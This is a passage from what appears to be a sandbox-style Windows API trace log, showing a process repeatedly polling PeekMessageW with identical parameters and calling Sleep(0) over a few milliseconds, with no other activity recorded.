returned 0 [0046.223] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.223] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.223] Sleep (dwMilliseconds=0x0) [0046.223] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.223] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.223] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.223] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.223] Sleep (dwMilliseconds=0x0) [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] Sleep (dwMilliseconds=0x0) [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.224] Sleep (dwMilliseconds=0x0) [0046.224] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] Sleep (dwMilliseconds=0x0) [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] Sleep (dwMilliseconds=0x0) [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.225] Sleep (dwMilliseconds=0x0) [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] Sleep (dwMilliseconds=0x0) [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.226] Sleep (dwMilliseconds=0x0) [0046.226] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] Sleep (dwMilliseconds=0x0) [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.227] Sleep (dwMilliseconds=0x0) [0046.227] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] Sleep (dwMilliseconds=0x0) [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] Sleep (dwMilliseconds=0x0) [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.228] Sleep (dwMilliseconds=0x0) [0046.228] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.229] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.230] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.231] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.232] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.233] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.233] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0046.233] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 